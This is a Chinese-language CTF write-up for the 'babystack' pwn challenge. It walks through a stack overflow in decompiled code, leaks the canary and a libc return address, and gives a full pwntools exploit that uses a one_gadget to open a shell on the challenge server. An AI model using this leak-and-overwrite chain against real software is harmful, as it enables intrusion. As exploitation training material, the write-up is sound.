main函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rsi
  char *v4; // rdi
  int v5; // eax
  char s; // [rsp+10h] [rbp-90h]
  unsigned __int64 v8; // [rsp+98h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  v3 = 0LL;
  v4 = &s;
  memset(&s, 0, 0x80uLL);
  while ( 1 )
  {
    sub_4008B9(v4, v3);
    v5 = sub_400841();
    switch ( v5 )
    {
      case 2:
        puts(&s);
        break;
      case 3:
        return 0LL;
      case 1:
        v3 = &s;
        read(0, &s, 0x100uLL);
        break;
      default:
        sub_400826("invalid choice");
        break;
    }
    v4 = (char *)&unk_400AE7;
    sub_400826(&unk_400AE7);
  }
}

该题开启了canary保护:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

分析可得知,v8中存在的就是canary的值,距离为rbp-8h,read函数存在栈溢出,构造payload。

from pwn import *
from LibcSearcher import *

elf = ELF('./babystack')

local = 1
if local == 1:
    io = process('./babystack')
    #gdb.attach(io,'b * 0x4009E9')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',25887)

io.recvuntil(">> ")
io.sendline('1')
payload = 'a'*(0x90-0x8-1)+'b'
io.sendline(payload)
io.recvuntil(">> ")
io.sendline('2')
io.recvuntil('b')
canary = u64(io.recv(8))-0xa
log.success('canary:'+hex(canary))

io.interactive()

调试时发现libc_start_main_ret的值的位置在覆盖RIP的位置。所以也可以知道它的值是多少:

减2个1是因为末尾有一个多余的换行符。

from pwn import *
from LibcSearcher import *

elf = ELF('./babystack')

local = 1
if local == 1:
    io = process('./babystack')
    #gdb.attach(io,'b * 0x4009DD')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',25887)

io.recvuntil(">> ")
io.sendline('1')
payload = 'a'*(0x90-0x8-1)+'b'
io.sendline(payload)
io.recvuntil(">> ")
io.sendline('2')
io.recvuntil('b')
canary = u64(io.recv(8))-0xa
log.success('canary:'+hex(canary))

io.recvuntil(">> ")
io.sendline('1')
payload2 = 'a'*(0x90+0x8-1-1)+'b'
io.sendline(payload2)
io.recvuntil(">> ")
io.sendline('2')
io.recvuntil('b\n')
libc_start_main_ret = u64(io.recv(6)+'\x00\x00')
log.success('libc_start_main_ret:'+hex(libc_start_main_ret))

io.interactive()

已知libc_start_main_ret的值,就能找到对应的libc版本为libc-2.23-0ubuntu11。

用one_gadget来getshell,最终exp如下:

from pwn import *
from LibcSearcher import *

elf = ELF('./babystack')

local = 0
if local == 1:
    io = process('./babystack')
    gdb.attach(io,'b * 0x4009DD')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',26933)
    libc = ELF('./libc/libc-2.23-0ubuntu11.so')

io.recvuntil(">> ")
io.sendline('1')
payload = 'a'*(0x90-0x8-1)+'b'
io.sendline(payload)
io.recvuntil(">> ")
io.sendline('2')
io.recvuntil('b')
canary = u64(io.recv(8))-0xa
log.success('canary:'+hex(canary))

io.recvuntil(">> ")
io.sendline('1')
payload2 = 'a'*(0x90+0x8-1-1)+'b'
io.sendline(payload2)
io.recvuntil(">> ")
io.sendline('2')
io.recvuntil('b\n')
libc_start_main_ret = u64(io.recv(6)+'\x00\x00')
log.success('libc_start_main_ret:'+hex(libc_start_main_ret))

libc_addr = libc_start_main_ret - 0x020830

io.recvuntil(">> ")
io.sendline('1')
payload3 = 'a'*(0x90-8)+p64(canary)+p64(0xdeadbeef)+p64(libc_addr + 0xf1147)
io.sendline(payload3)
io.recvuntil(">> ")
io.sendline('3')

io.interactive()